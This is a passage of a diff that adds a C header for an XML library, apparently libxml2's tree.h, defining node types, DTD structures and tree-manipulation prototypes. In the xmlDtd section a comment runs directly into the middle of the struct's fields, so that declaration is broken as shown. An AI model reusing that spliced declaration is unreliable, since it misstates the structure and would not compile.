should + * be deprecated to use an XML_DTD_NODE. + */ +typedef enum { + XML_ELEMENT_NODE= 1, + XML_ATTRIBUTE_NODE= 2, + XML_TEXT_NODE= 3, + XML_CDATA_SECTION_NODE= 4, + XML_ENTITY_REF_NODE= 5, + XML_ENTITY_NODE= 6, + XML_PI_NODE= 7, + XML_COMMENT_NODE= 8, + XML_DOCUMENT_NODE= 9, + XML_DOCUMENT_TYPE_NODE= 10, + XML_DOCUMENT_FRAG_NODE= 11, + XML_NOTATION_NODE= 12, + XML_HTML_DOCUMENT_NODE= 13, + XML_DTD_NODE= 14, + XML_ELEMENT_DECL= 15, + XML_ATTRIBUTE_DECL= 16, + XML_ENTITY_DECL= 17, + XML_NAMESPACE_DECL= 18, + XML_XINCLUDE_START= 19, + XML_XINCLUDE_END= 20 +#ifdef LIBXML_DOCB_ENABLED + ,XML_DOCB_DOCUMENT_NODE= 21 +#endif +} xmlElementType; + + +/** + * xmlNotation: + * + * A DTD Notation definition. + */ + +typedef struct _xmlNotation xmlNotation; +typedef xmlNotation *xmlNotationPtr; +struct _xmlNotation { + const xmlChar *name; /* Notation name */ + const xmlChar *PublicID; /* Public identifier, if any */ + const xmlChar *SystemID; /* System identifier, if any */ +}; + +/** + * xmlAttributeType: + * + * A DTD Attribute type definition. + */ + +typedef enum { + XML_ATTRIBUTE_CDATA = 1, + XML_ATTRIBUTE_ID, + XML_ATTRIBUTE_IDREF , + XML_ATTRIBUTE_IDREFS, + XML_ATTRIBUTE_ENTITY, + XML_ATTRIBUTE_ENTITIES, + XML_ATTRIBUTE_NMTOKEN, + XML_ATTRIBUTE_NMTOKENS, + XML_ATTRIBUTE_ENUMERATION, + XML_ATTRIBUTE_NOTATION +} xmlAttributeType; + +/** + * xmlAttributeDefault: + * + * A DTD Attribute default definition. + */ + +typedef enum { + XML_ATTRIBUTE_NONE = 1, + XML_ATTRIBUTE_REQUIRED, + XML_ATTRIBUTE_IMPLIED, + XML_ATTRIBUTE_FIXED +} xmlAttributeDefault; + +/** + * xmlEnumeration: + * + * List structure used when there is an enumeration in DTDs. + */ + +typedef struct _xmlEnumeration xmlEnumeration; +typedef xmlEnumeration *xmlEnumerationPtr; +struct _xmlEnumeration { + struct _xmlEnumeration *next; /* next one */ + const xmlChar *name; /* Enumeration name */ +}; + +/** + * xmlAttribute: + * + * An Attribute declaration in a DTD. + */ + +typedef struct _xmlAttribute xmlAttribute; +typedef xmlAttribute *xmlAttributePtr; +struct _xmlAttribute { + void *_private; /* application data */ + xmlElementType type; /* XML_ATTRIBUTE_DECL, must be second ! */ + const xmlChar *name; /* Attribute name */ + struct _xmlNode *children; /* NULL */ + struct _xmlNode *last; /* NULL */ + struct _xmlDtd *parent; /* -> DTD */ + struct _xmlNode *next; /* next sibling link */ + struct _xmlNode *prev; /* previous sibling link */ + struct _xmlDoc *doc; /* the containing document */ + + struct _xmlAttribute *nexth; /* next in hash table */ + xmlAttributeType atype; /* The attribute type */ + xmlAttributeDefault def; /* the default */ + const xmlChar *defaultValue; /* or the default value */ + xmlEnumerationPtr tree; /* or the enumeration tree if any */ + const xmlChar *prefix; /* the namespace prefix if any */ + const xmlChar *elem; /* Element holding the attribute */ +}; + +/** + * xmlElementContentType: + * + * Possible definitions of element content types. + */ +typedef enum { + XML_ELEMENT_CONTENT_PCDATA = 1, + XML_ELEMENT_CONTENT_ELEMENT, + XML_ELEMENT_CONTENT_SEQ, + XML_ELEMENT_CONTENT_OR +} xmlElementContentType; + +/** + * xmlElementContentOccur: + * + * Possible definitions of element content occurrences. + */ +typedef enum { + XML_ELEMENT_CONTENT_ONCE = 1, + XML_ELEMENT_CONTENT_OPT, + XML_ELEMENT_CONTENT_MULT, + XML_ELEMENT_CONTENT_PLUS +} xmlElementContentOccur; + +/** + * xmlElementContent: + * + * An XML Element content as stored after parsing an element definition + * in a DTD. + */ + +typedef struct _xmlElementContent xmlElementContent; +typedef xmlElementContent *xmlElementContentPtr; +struct _xmlElementContent { + xmlElementContentType type; /* PCDATA, ELEMENT, SEQ or OR */ + xmlElementContentOccur ocur; /* ONCE, OPT, MULT or PLUS */ + const xmlChar *name; /* Element name */ + struct _xmlElementContent *c1; /* first child */ + struct _xmlElementContent *c2; /* second child */ + struct _xmlElementContent *parent; /* parent */ + const xmlChar *prefix; /* Namespace prefix */ +}; + +/** + * xmlElementTypeVal: + * + * The different possibilities for an element content type. + */ + +typedef enum { + XML_ELEMENT_TYPE_UNDEFINED = 0, + XML_ELEMENT_TYPE_EMPTY = 1, + XML_ELEMENT_TYPE_ANY, + XML_ELEMENT_TYPE_MIXED, + XML_ELEMENT_TYPE_ELEMENT +} xmlElementTypeVal; + +#ifdef __cplusplus +} +#endif +#include +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlElement: + * + * An XML Element declaration from a DTD. + */ + +typedef struct _xmlElement xmlElement; +typedef xmlElement *xmlElementPtr; +struct _xmlElement { + void *_private; /* application data */ + xmlElementType type; /* XML_ELEMENT_DECL, must be second ! */ + const xmlChar *name; /* Element name */ + struct _xmlNode *children; /* NULL */ + struct _xmlNode *last; /* NULL */ + struct _xmlDtd *parent; /* -> DTD */ + struct _xmlNode *next; /* next sibling link */ + struct _xmlNode *prev; /* previous sibling link */ + struct _xmlDoc *doc; /* the containing document */ + + xmlElementTypeVal etype; /* The type */ + xmlElementContentPtr content; /* the allowed element content */ + xmlAttributePtr attributes; /* List of the declared attributes */ + const xmlChar *prefix; /* the namespace prefix if any */ +#ifdef LIBXML_REGEXP_ENABLED + xmlRegexpPtr contModel; /* the validating regexp */ +#else + void *contModel; +#endif +}; + + +/** + * XML_LOCAL_NAMESPACE: + * + * A namespace declaration node. + */ +#define XML_LOCAL_NAMESPACE XML_NAMESPACE_DECL +typedef xmlElementType xmlNsType; + +/** + * xmlNs: + * + * An XML namespace. + * Note that prefix == NULL is valid, it defines the default namespace + * within the subtree (until overridden). + * + * xmlNsType is unified with xmlElementType. + */ + +typedef struct _xmlNs xmlNs; +typedef xmlNs *xmlNsPtr; +struct _xmlNs { + struct _xmlNs *next; /* next Ns link for this node */ + xmlNsType type; /* global or local */ + const xmlChar *href; /* URL for the namespace */ + const xmlChar *prefix; /* prefix for the namespace */ + void *_private; /* application data */ + struct _xmlDoc *context; /* normally an xmlDoc */ +}; + +/** + * xmlDtd: + * + * An XML DTD, as defined by parent link */ + struct _xmlNode *next; /* next sibling link */ + struct _xmlNode *prev; /* previous sibling link */ + struct _xmlDoc *doc; /* the containing document */ + + /* End of common part */ + void *notations; /* Hash table for notations if any */ + void *elements; /* Hash table for elements if any */ + void *attributes; /* Hash table for attributes if any */ + void *entities; /* Hash table for entities if any */ + const xmlChar *ExternalID; /* External identifier for PUBLIC DTD */ + const xmlChar *SystemID; /* URI for a SYSTEM or PUBLIC DTD */ + void *pentities; /* Hash table for param entities if any */ +}; + +/** + * xmlAttr: + * + * An attribute on an XML node. + */ +typedef struct _xmlAttr xmlAttr; +typedef xmlAttr *xmlAttrPtr; +struct _xmlAttr { + void *_private; /* application data */ + xmlElementType type; /* XML_ATTRIBUTE_NODE, must be second ! */ + const xmlChar *name; /* the name of the property */ + struct _xmlNode *children; /* the value of the property */ + struct _xmlNode *last; /* NULL */ + struct _xmlNode *parent; /* child->parent link */ + struct _xmlAttr *next; /* next sibling link */ + struct _xmlAttr *prev; /* previous sibling link */ + struct _xmlDoc *doc; /* the containing document */ + xmlNs *ns; /* pointer to the associated namespace */ + xmlAttributeType atype; /* the attribute type if validating */ + void *psvi; /* for type/PSVI informations */ +}; + +/** + * xmlID: + * + * An XML ID instance. + */ + +typedef struct _xmlID xmlID; +typedef xmlID *xmlIDPtr; +struct _xmlID { + struct _xmlID *next; /* next ID */ + const xmlChar *value; /* The ID name */ + xmlAttrPtr attr; /* The attribute holding it */ + const xmlChar *name; /* The attribute if attr is not available */ + int lineno; /* The line number if attr is not available */ + struct _xmlDoc *doc; /* The document holding the ID */ +}; + +/** + * xmlRef: + * + * An XML IDREF instance. + */ + +typedef struct _xmlRef xmlRef; +typedef xmlRef *xmlRefPtr; +struct _xmlRef { + struct _xmlRef *next; /* next Ref */ + const xmlChar *value; /* The Ref name */ + xmlAttrPtr attr; /* The attribute holding it */ + const xmlChar *name; /* The attribute if attr is not available */ + int lineno; /* The line number if attr is not available */ +}; + +/** + * xmlNode: + * + * A node in an XML tree. + */ +typedef struct _xmlNode xmlNode; +typedef xmlNode *xmlNodePtr; +struct _xmlNode { + void *_private; /* application data */ + xmlElementType type; /* type number, must be second ! */ + const xmlChar *name; /* the name of the node, or the entity */ + struct _xmlNode *children; /* parent->childs link */ + struct _xmlNode *last; /* last child link */ + struct _xmlNode *parent; /* child->parent link */ + struct _xmlNode *next; /* next sibling link */ + struct _xmlNode *prev; /* previous sibling link */ + struct _xmlDoc *doc; /* the containing document */ + + /* End of common part */ + xmlNs *ns; /* pointer to the associated namespace */ + xmlChar *content; /* the content */ + struct _xmlAttr *properties;/* properties list */ + xmlNs *nsDef; /* namespace definitions on this node */ + void *psvi; /* for type/PSVI informations */ + unsigned short line; /* line number */ + unsigned short extra; /* extra data for XPath/XSLT */ +}; + +/** + * XML_GET_CONTENT: + * + * Macro to extract the content pointer of a node. + */ +#define XML_GET_CONTENT(n) \ + ((n)->type == XML_ELEMENT_NODE ? NULL : (n)->content) + +/** + * XML_GET_LINE: + * + * Macro to extract the line number of an element node. + */ +#define XML_GET_LINE(n) \ + (xmlGetLineNo(n)) + +/** + * xmlDocProperty + * + * Set of properties of the document as found by the parser + * Some of them are linked to similary named xmlParserOption + */ +typedef enum { + XML_DOC_WELLFORMED = 1<<0, /* document is XML well formed */ + XML_DOC_NSVALID = 1<<1, /* document is Namespace valid */ + XML_DOC_OLD10 = 1<<2, /* parsed with old XML-1.0 parser */ + XML_DOC_DTDVALID = 1<<3, /* DTD validation was successful */ + XML_DOC_XINCLUDE = 1<<4, /* XInclude substitution was done */ + XML_DOC_USERBUILT = 1<<5, /* Document was built using the API + and not by parsing an instance */ + XML_DOC_INTERNAL = 1<<6, /* built for internal processing */ + XML_DOC_HTML = 1<<7 /* parsed or built HTML document */ +} xmlDocProperties; + +/** + * xmlDoc: + * + * An XML document. + */ +typedef struct _xmlDoc xmlDoc; +typedef xmlDoc *xmlDocPtr; +struct _xmlDoc { + void *_private; /* application data */ + xmlElementType type; /* XML_DOCUMENT_NODE, must be second ! */ + char *name; /* name/filename/URI of the document */ + struct _xmlNode *children; /* the document tree */ + struct _xmlNode *last; /* last child link */ + struct _xmlNode *parent; /* child->parent link */ + struct _xmlNode *next; /* next sibling link */ + struct _xmlNode *prev; /* previous sibling link */ + struct _xmlDoc *doc; /* autoreference to itself */ + + /* End of common part */ + int compression;/* level of zlib compression */ + int standalone; /* standalone document (no external refs) + 1 if standalone="yes" + 0 if standalone="no" + -1 if there is no XML declaration + -2 if there is an XML declaration, but no + standalone attribute was specified */ + struct _xmlDtd *intSubset; /* the document internal subset */ + struct _xmlDtd *extSubset; /* the document external subset */ + struct _xmlNs *oldNs; /* Global namespace, the old way */ + const xmlChar *version; /* the XML version string */ + const xmlChar *encoding; /* external initial encoding, if any */ + void *ids; /* Hash table for ID attributes if any */ + void *refs; /* Hash table for IDREFs attributes if any */ + const xmlChar *URL; /* The URI for that document */ + int charset; /* encoding of the in-memory content + actually an xmlCharEncoding */ + struct _xmlDict *dict; /* dict used to allocate names or NULL */ + void *psvi; /* for type/PSVI informations */ + int parseFlags; /* set of xmlParserOption used to parse the + document */ + int properties; /* set of xmlDocProperties for this document + set at the end of parsing */ +}; + + +typedef struct _xmlDOMWrapCtxt xmlDOMWrapCtxt; +typedef xmlDOMWrapCtxt *xmlDOMWrapCtxtPtr; + +/** + * xmlDOMWrapAcquireNsFunction: + * @ctxt: a DOM wrapper context + * @node: the context node (element or attribute) + * @nsName: the requested namespace name + * @nsPrefix: the requested namespace prefix + * + * A function called to acquire namespaces (xmlNs) from the wrapper. + * + * Returns an xmlNsPtr or NULL in case of an error. + */ +typedef xmlNsPtr (*xmlDOMWrapAcquireNsFunction) (xmlDOMWrapCtxtPtr ctxt, + xmlNodePtr node, + const xmlChar *nsName, + const xmlChar *nsPrefix); + +/** + * xmlDOMWrapCtxt: + * + * Context for DOM wrapper-operations. + */ +struct _xmlDOMWrapCtxt { + void * _private; + /* + * The type of this context, just in case we need specialized + * contexts in the future. + */ + int type; + /* + * Internal namespace map used for various operations. + */ + void * namespaceMap; + /* + * Use this one to acquire an xmlNsPtr intended for node->ns. + * (Note that this is not intended for elem->nsDef). + */ + xmlDOMWrapAcquireNsFunction getNsForNodeFunc; +}; + +/** + * xmlChildrenNode: + * + * Macro for compatibility naming layer with libxml1. Maps + * to "children." + */ +#ifndef xmlChildrenNode +#define xmlChildrenNode children +#endif + +/** + * xmlRootNode: + * + * Macro for compatibility naming layer with libxml1. Maps + * to "children". + */ +#ifndef xmlRootNode +#define xmlRootNode children +#endif + +/* + * Variables. + */ + +/* + * Some helper functions + */ +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XPATH_ENABLED) || \ + defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_DEBUG_ENABLED) || \ + defined (LIBXML_HTML_ENABLED) || defined(LIBXML_SAX1_ENABLED) || \ + defined(LIBXML_HTML_ENABLED) || defined(LIBXML_WRITER_ENABLED) || \ + defined(LIBXML_DOCB_ENABLED) || defined(LIBXML_LEGACY_ENABLED) +XMLPUBFUN int XMLCALL + xmlValidateNCName (const xmlChar *value, + int space); +#endif + +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) +XMLPUBFUN int XMLCALL + xmlValidateQName (const xmlChar *value, + int space); +XMLPUBFUN int XMLCALL + xmlValidateName (const xmlChar *value, + int space); +XMLPUBFUN int XMLCALL + xmlValidateNMToken (const xmlChar *value, + int space); +#endif + +XMLPUBFUN xmlChar * XMLCALL + xmlBuildQName (const xmlChar *ncname, + const xmlChar *prefix, + xmlChar *memory, + int len); +XMLPUBFUN xmlChar * XMLCALL + xmlSplitQName2 (const xmlChar *name, + xmlChar **prefix); +XMLPUBFUN const xmlChar * XMLCALL + xmlSplitQName3 (const xmlChar *name, + int *len); + +/* + * Handling Buffers, the old ones see @xmlBuf for the new ones. + */ + +XMLPUBFUN void XMLCALL + xmlSetBufferAllocationScheme(xmlBufferAllocationScheme scheme); +XMLPUBFUN xmlBufferAllocationScheme XMLCALL + xmlGetBufferAllocationScheme(void); + +XMLPUBFUN xmlBufferPtr XMLCALL + xmlBufferCreate (void); +XMLPUBFUN xmlBufferPtr XMLCALL + xmlBufferCreateSize (size_t size); +XMLPUBFUN xmlBufferPtr XMLCALL + xmlBufferCreateStatic (void *mem, + size_t size); +XMLPUBFUN int XMLCALL + xmlBufferResize (xmlBufferPtr buf, + unsigned int size); +XMLPUBFUN void XMLCALL + xmlBufferFree (xmlBufferPtr buf); +XMLPUBFUN int XMLCALL + xmlBufferDump (FILE *file, + xmlBufferPtr buf); +XMLPUBFUN int XMLCALL + xmlBufferAdd (xmlBufferPtr buf, + const xmlChar *str, + int len); +XMLPUBFUN int XMLCALL + xmlBufferAddHead (xmlBufferPtr buf, + const xmlChar *str, + int len); +XMLPUBFUN int XMLCALL + xmlBufferCat (xmlBufferPtr buf, + const xmlChar *str); +XMLPUBFUN int XMLCALL + xmlBufferCCat (xmlBufferPtr buf, + const char *str); +XMLPUBFUN int XMLCALL + xmlBufferShrink (xmlBufferPtr buf, + unsigned int len); +XMLPUBFUN int XMLCALL + xmlBufferGrow (xmlBufferPtr buf, + unsigned int len); +XMLPUBFUN void XMLCALL + xmlBufferEmpty (xmlBufferPtr buf); +XMLPUBFUN const xmlChar* XMLCALL + xmlBufferContent (const xmlBuffer *buf); +XMLPUBFUN xmlChar* XMLCALL + xmlBufferDetach (xmlBufferPtr buf); +XMLPUBFUN void XMLCALL + xmlBufferSetAllocationScheme(xmlBufferPtr buf, + xmlBufferAllocationScheme scheme); +XMLPUBFUN int XMLCALL + xmlBufferLength (const xmlBuffer *buf); + +/* + * Creating/freeing new structures. + */ +XMLPUBFUN xmlDtdPtr XMLCALL + xmlCreateIntSubset (xmlDocPtr doc, + const xmlChar *name, + const xmlChar *ExternalID, + const xmlChar *SystemID); +XMLPUBFUN xmlDtdPtr XMLCALL + xmlNewDtd (xmlDocPtr doc, + const xmlChar *name, + const xmlChar *ExternalID, + const xmlChar *SystemID); +XMLPUBFUN xmlDtdPtr XMLCALL + xmlGetIntSubset (const xmlDoc *doc); +XMLPUBFUN void XMLCALL + xmlFreeDtd (xmlDtdPtr cur); +#ifdef LIBXML_LEGACY_ENABLED +XMLPUBFUN xmlNsPtr XMLCALL + xmlNewGlobalNs (xmlDocPtr doc, + const xmlChar *href, + const xmlChar *prefix); +#endif /* LIBXML_LEGACY_ENABLED */ +XMLPUBFUN xmlNsPtr XMLCALL + xmlNewNs (xmlNodePtr node, + const xmlChar *href, + const xmlChar *prefix); +XMLPUBFUN void XMLCALL + xmlFreeNs (xmlNsPtr cur); +XMLPUBFUN void XMLCALL + xmlFreeNsList (xmlNsPtr cur); +XMLPUBFUN xmlDocPtr XMLCALL + xmlNewDoc (const xmlChar *version); +XMLPUBFUN void XMLCALL + xmlFreeDoc (xmlDocPtr cur); +XMLPUBFUN xmlAttrPtr XMLCALL + xmlNewDocProp (xmlDocPtr doc, + const xmlChar *name, + const xmlChar *value); +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_HTML_ENABLED) || \ + defined(LIBXML_SCHEMAS_ENABLED) +XMLPUBFUN xmlAttrPtr XMLCALL + xmlNewProp (xmlNodePtr node, + const xmlChar *name, + const xmlChar *value); +#endif +XMLPUBFUN xmlAttrPtr XMLCALL + xmlNewNsProp (xmlNodePtr node, + xmlNsPtr ns, + const xmlChar *name, + const xmlChar *value); +XMLPUBFUN xmlAttrPtr XMLCALL + xmlNewNsPropEatName (xmlNodePtr node, + xmlNsPtr ns, + xmlChar *name, + const xmlChar *value); +XMLPUBFUN void XMLCALL + xmlFreePropList (xmlAttrPtr cur); +XMLPUBFUN void XMLCALL + xmlFreeProp (xmlAttrPtr cur); +XMLPUBFUN xmlAttrPtr XMLCALL + xmlCopyProp (xmlNodePtr target, + xmlAttrPtr cur); +XMLPUBFUN xmlAttrPtr XMLCALL + xmlCopyPropList (xmlNodePtr target, + xmlAttrPtr cur); +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN xmlDtdPtr XMLCALL + xmlCopyDtd (xmlDtdPtr dtd); +#endif /* LIBXML_TREE_ENABLED */ +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) +XMLPUBFUN xmlDocPtr XMLCALL + xmlCopyDoc (xmlDocPtr doc, + int recursive); +#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) */ +/* + * Creating new nodes. + */ +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewDocNode (xmlDocPtr doc, + xmlNsPtr ns, + const xmlChar *name, + const xmlChar *content); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewDocNodeEatName (xmlDocPtr doc, + xmlNsPtr ns, + xmlChar *name, + const xmlChar *content); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewNode (xmlNsPtr ns, + const xmlChar *name); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewNodeEatName (xmlNsPtr ns, + xmlChar *name); +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewChild (xmlNodePtr parent, + xmlNsPtr ns, + const xmlChar *name, + const xmlChar *content); +#endif +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewDocText (const xmlDoc *doc, + const xmlChar *content); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewText (const xmlChar *content); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewDocPI (xmlDocPtr doc, + const xmlChar *name, + const xmlChar *content); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewPI (const xmlChar *name, + const xmlChar *content); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewDocTextLen (xmlDocPtr doc, + const xmlChar *content, + int len); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewTextLen (const xmlChar *content, + int len); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewDocComment (xmlDocPtr doc, + const xmlChar *content); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewComment (const xmlChar *content); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewCDataBlock (xmlDocPtr doc, + const xmlChar *content, + int len); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewCharRef (xmlDocPtr doc, + const xmlChar *name); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewReference (const xmlDoc *doc, + const xmlChar *name); +XMLPUBFUN xmlNodePtr XMLCALL + xmlCopyNode (xmlNodePtr node, + int recursive); +XMLPUBFUN xmlNodePtr XMLCALL + xmlDocCopyNode (xmlNodePtr node, + xmlDocPtr doc, + int recursive); +XMLPUBFUN xmlNodePtr XMLCALL + xmlDocCopyNodeList (xmlDocPtr doc, + xmlNodePtr node); +XMLPUBFUN xmlNodePtr XMLCALL + xmlCopyNodeList (xmlNodePtr node); +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewTextChild (xmlNodePtr parent, + xmlNsPtr ns, + const xmlChar *name, + const xmlChar *content); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewDocRawNode (xmlDocPtr doc, + xmlNsPtr ns, + const xmlChar *name, + const xmlChar *content); +XMLPUBFUN xmlNodePtr XMLCALL + xmlNewDocFragment (xmlDocPtr doc); +#endif /* LIBXML_TREE_ENABLED */ + +/* + * Navigating. + */ +XMLPUBFUN long XMLCALL + xmlGetLineNo (const xmlNode *node); +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_DEBUG_ENABLED) +XMLPUBFUN xmlChar * XMLCALL + xmlGetNodePath (const xmlNode *node); +#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_DEBUG_ENABLED) */ +XMLPUBFUN xmlNodePtr XMLCALL + xmlDocGetRootElement (const xmlDoc *doc); +XMLPUBFUN xmlNodePtr XMLCALL + xmlGetLastChild (const xmlNode *parent); +XMLPUBFUN int XMLCALL + xmlNodeIsText (const xmlNode *node); +XMLPUBFUN int XMLCALL + xmlIsBlankNode (const xmlNode *node); + +/* + * Changing the structure. + */ +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) +XMLPUBFUN xmlNodePtr XMLCALL + xmlDocSetRootElement (xmlDocPtr doc, + xmlNodePtr root); +#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) */ +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN void XMLCALL + xmlNodeSetName (xmlNodePtr cur, + const xmlChar *name); +#endif /* LIBXML_TREE_ENABLED */ +XMLPUBFUN xmlNodePtr XMLCALL + xmlAddChild (xmlNodePtr parent, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL + xmlAddChildList (xmlNodePtr parent, + xmlNodePtr cur); +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) +XMLPUBFUN xmlNodePtr XMLCALL + xmlReplaceNode (xmlNodePtr old, + xmlNodePtr cur); +#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_WRITER_ENABLED) */ +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_HTML_ENABLED) || \ + defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) +XMLPUBFUN xmlNodePtr XMLCALL + xmlAddPrevSibling (xmlNodePtr cur, + xmlNodePtr elem); +#endif /* LIBXML_TREE_ENABLED || LIBXML_HTML_ENABLED || LIBXML_SCHEMAS_ENABLED */ +XMLPUBFUN xmlNodePtr XMLCALL + xmlAddSibling (xmlNodePtr cur, + xmlNodePtr elem); +XMLPUBFUN xmlNodePtr XMLCALL + xmlAddNextSibling (xmlNodePtr cur, + xmlNodePtr elem); +XMLPUBFUN void XMLCALL + xmlUnlinkNode (xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL + xmlTextMerge (xmlNodePtr first, + xmlNodePtr second); +XMLPUBFUN int XMLCALL + xmlTextConcat (xmlNodePtr node, + const xmlChar *content, + int len); +XMLPUBFUN void XMLCALL + xmlFreeNodeList (xmlNodePtr cur); +XMLPUBFUN void XMLCALL + xmlFreeNode (xmlNodePtr cur); +XMLPUBFUN void XMLCALL + xmlSetTreeDoc (xmlNodePtr tree, + xmlDocPtr doc); +XMLPUBFUN void XMLCALL + xmlSetListDoc (xmlNodePtr list, + xmlDocPtr doc); +/* + * Namespaces. + */ +XMLPUBFUN xmlNsPtr XMLCALL + xmlSearchNs (xmlDocPtr doc, + xmlNodePtr node, + const xmlChar *nameSpace); +XMLPUBFUN xmlNsPtr XMLCALL + xmlSearchNsByHref (xmlDocPtr doc, + xmlNodePtr node, + const xmlChar *href); +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XPATH_ENABLED) || \ + defined(LIBXML_SCHEMAS_ENABLED) +XMLPUBFUN xmlNsPtr * XMLCALL + xmlGetNsList (const xmlDoc *doc, + const xmlNode *node); +#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XPATH_ENABLED) */ + +XMLPUBFUN void XMLCALL + xmlSetNs (xmlNodePtr node, + xmlNsPtr ns); +XMLPUBFUN xmlNsPtr XMLCALL + xmlCopyNamespace (xmlNsPtr cur); +XMLPUBFUN xmlNsPtr XMLCALL + xmlCopyNamespaceList (xmlNsPtr cur); + +/* + * Changing the content. + */ +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) || \ + defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_HTML_ENABLED) +XMLPUBFUN xmlAttrPtr XMLCALL + xmlSetProp (xmlNodePtr node, + const xmlChar *name, + const xmlChar *value); +XMLPUBFUN xmlAttrPtr XMLCALL + xmlSetNsProp (xmlNodePtr node, + xmlNsPtr ns, + const xmlChar *name, + const xmlChar *value); +#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) || \ + defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_HTML_ENABLED) */ +XMLPUBFUN xmlChar * XMLCALL + xmlGetNoNsProp (const xmlNode *node, + const xmlChar *name); +XMLPUBFUN xmlChar * XMLCALL + xmlGetProp (const xmlNode *node, + const xmlChar *name); +XMLPUBFUN xmlAttrPtr XMLCALL + xmlHasProp (const xmlNode *node, + const xmlChar *name); +XMLPUBFUN xmlAttrPtr XMLCALL + xmlHasNsProp (const xmlNode *node, + const xmlChar *name, + const xmlChar *nameSpace); +XMLPUBFUN xmlChar * XMLCALL + xmlGetNsProp (const xmlNode *node, + const xmlChar *name, + const xmlChar *nameSpace); +XMLPUBFUN xmlNodePtr XMLCALL + xmlStringGetNodeList (const xmlDoc *doc, + const xmlChar *value); +XMLPUBFUN xmlNodePtr XMLCALL + xmlStringLenGetNodeList (const xmlDoc *doc, + const xmlChar *value, + int len); +XMLPUBFUN xmlChar * XMLCALL + xmlNodeListGetString (xmlDocPtr doc, + const xmlNode *list, + int inLine); +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN xmlChar * XMLCALL + xmlNodeListGetRawString (const xmlDoc *doc, + const xmlNode *list, + int inLine); +#endif /* LIBXML_TREE_ENABLED */ +XMLPUBFUN void XMLCALL + xmlNodeSetContent (xmlNodePtr cur, + const xmlChar *content); +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN void XMLCALL + xmlNodeSetContentLen (xmlNodePtr cur, + const xmlChar *content, + int len); +#endif /* LIBXML_TREE_ENABLED */ +XMLPUBFUN void XMLCALL + xmlNodeAddContent (xmlNodePtr cur, + const xmlChar *content); +XMLPUBFUN void XMLCALL + xmlNodeAddContentLen (xmlNodePtr cur, + const xmlChar *content, + int len); +XMLPUBFUN xmlChar * XMLCALL + xmlNodeGetContent (const xmlNode *cur); + +XMLPUBFUN int XMLCALL + xmlNodeBufGetContent (xmlBufferPtr buffer, + const xmlNode *cur); +XMLPUBFUN int XMLCALL + xmlBufGetNodeContent (xmlBufPtr buf, + const xmlNode *cur); + +XMLPUBFUN xmlChar * XMLCALL + xmlNodeGetLang (const xmlNode *cur); +XMLPUBFUN int XMLCALL + xmlNodeGetSpacePreserve (const xmlNode *cur); +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN void XMLCALL + xmlNodeSetLang (xmlNodePtr cur, + const xmlChar *lang); +XMLPUBFUN void XMLCALL + xmlNodeSetSpacePreserve (xmlNodePtr cur, + int val); +#endif /* LIBXML_TREE_ENABLED */ +XMLPUBFUN xmlChar * XMLCALL + xmlNodeGetBase (const xmlDoc *doc, + const xmlNode *cur); +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XINCLUDE_ENABLED) +XMLPUBFUN void XMLCALL + xmlNodeSetBase (xmlNodePtr cur, + const xmlChar *uri); +#endif + +/* + * Removing content. + */ +XMLPUBFUN int XMLCALL + xmlRemoveProp (xmlAttrPtr cur); +#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) +XMLPUBFUN int XMLCALL + xmlUnsetNsProp (xmlNodePtr node, + xmlNsPtr ns, + const xmlChar *name); +XMLPUBFUN int XMLCALL + xmlUnsetProp (xmlNodePtr node, + const xmlChar *name); +#endif /* defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) */ + +/* + * Internal, don't use. + 